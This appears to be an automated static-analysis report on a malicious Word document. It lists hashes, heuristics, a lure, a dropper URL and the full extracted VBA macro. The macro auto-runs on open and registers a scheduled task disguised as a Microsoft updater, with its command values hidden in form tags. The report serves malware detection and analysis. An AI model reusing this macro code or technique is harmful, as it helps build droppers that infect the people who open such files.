Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0808af8cc4a3215e…

MALICIOUS

Office (OLE)

63.0 KB Created: 2018-11-12 10:33:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: f1ee6f8fdd7d08a3d656bf5353570dd3 SHA-1: 892badb94c8ebc9e59de64edfbd4ce91ee46d9c4 SHA-256: 0808af8cc4a3215ee1db257324980a2f6f226998c621ff52da5233287f73c264
250 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample contains VBA macros, including a Document_Open macro, which is a common technique for malware execution. The document body explicitly instructs the user to enable editing and content, a typical lure. The VBA script attempts to create a scheduled task using the Windows Task Scheduler service, likely to download and execute a second-stage payload from the embedded URL http://offficebox.com/host32.

Heuristics 9

  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set service = CreateObject("Schedule.Service")
    Call service.Connect
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    bbs = crysler.Label1.Tag
    CallByName DoBas, "Ar" + "guments", VbLet, aas
    Dim comodostar800 As String
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
    Dim comodostar20 As Object
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://offficebox.com/host32 In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3526 bytes
SHA-256: 0de1fb386ac5c4af7da7106f083b14119f01dbf64679e4ec58ccf346c7a19b36
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub SubNever()
Dim comodostar21 As Object
Dim comodostar23 As Object
Dim comodostar2 As Object
Dim comodostar25 As Object
Dim comodostar26 As Object
Dim comodostar29 As Object
Dim comodostar20 As Object
Dim comodostar27 As Object
Dim comodostar211 As Object
Dim comodostar212 As Object

Dim comodostar24 As Object
Dim comodostar234 As Object









Const TriggerTypeTime = 1

Const ate = 0

Dim service


Set service = CreateObject("Schedule.Service")
Call service.Connect



Dim rootFolder
Set rootFolder = service.GetFolder("\")


Dim taskDefinition

Set taskDefinition = service.NewTask(0)






Dim regInfo
Set regInfo = taskDefinition.RegistrationInfo
regInfo.Description = "Start update process at a certain time"
regInfo.Author = "Microsoft Corp"



Dim principal
Set principal = taskDefinition.principal


principal.LogonType = 3

Dim settings
Set settings = taskDefinition.settings
settings.Enabled = True
settings.StartWhenAvailable = True
settings.Hidden = False



Dim triggers
Set triggers = taskDefinition.triggers

Dim whySoN
Set whySoN = triggers.Create(TriggerTypeTime)


Dim startTime, endTime

Dim time
time = DateAdd("s", 21, Now)
startTime = XmlTime(time)

time = DateAdd("n", 27, Now)
endTime = XmlTime(time)


whySoN.StartBoundary = startTime
whySoN.EndBoundary = endTime
whySoN.ExecutionTimeLimit = "PT5M"
whySoN.ID = "TimeTriggerId"
whySoN.Enabled = True





Dim DoBas As Object

Set DoBas = taskDefinition.Actions.Create(ate)
Dim aas As String
aas = crysler.Tag

Dim bbs As String
bbs = crysler.Label1.Tag
CallByName DoBas, "Ar" + "guments", VbLet, aas
Dim comodostar800 As String

CallByName DoBas, "Pa" + "th", VbLet, bbs

comodostar800 = "Dim comodostar800 As String"

Call rootFolder.RegisterTaskDefinition( _
    "Updater on time 12", taskDefinition, 6, , , 3)



Dim comodostar28 As Object
End Sub







Sub Document_Open()
Dim comodostar20 As Object
Dim comodostar27 As Object
Dim comodostar211 As Object
Dim comodostar212 As Object
Application.Run crysler.Label3.Tag
Dim comodostar25 As Object
Dim comodostar26 As Object
Dim comodostar29 As Object
ActiveDocument.Close SaveChanges:=wdDoNotSaveChanges
Application.Quit
End Sub







Function XmlTime(t)
    Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
    Dim tTime, tDate

    cSecond = "0" & Second(t)
    cMinute = "0" & Minute(t)
    CHour = "0" & Hour(t)
    cDay = "0" & Day(t)
    cMonth = "0" & Month(t)
    cYear = Year(t)

    tTime = Right(CHour, 2) & ":" & Right(cMinute, 2) & _
        ":" & Right(cSecond, 2)
    tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
    XmlTime = tDate & "T" & tTime
End Function

Attribute VB_Name = "crysler"
Attribute VB_Base = "0{8D777090-0999-4012-A01E-6C7D47431BF4}{7033B66E-DC4F-4550-AE00-3DEB51C13508}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Label4_Click()

End Sub

Private Sub UserForm_Click()

End Sub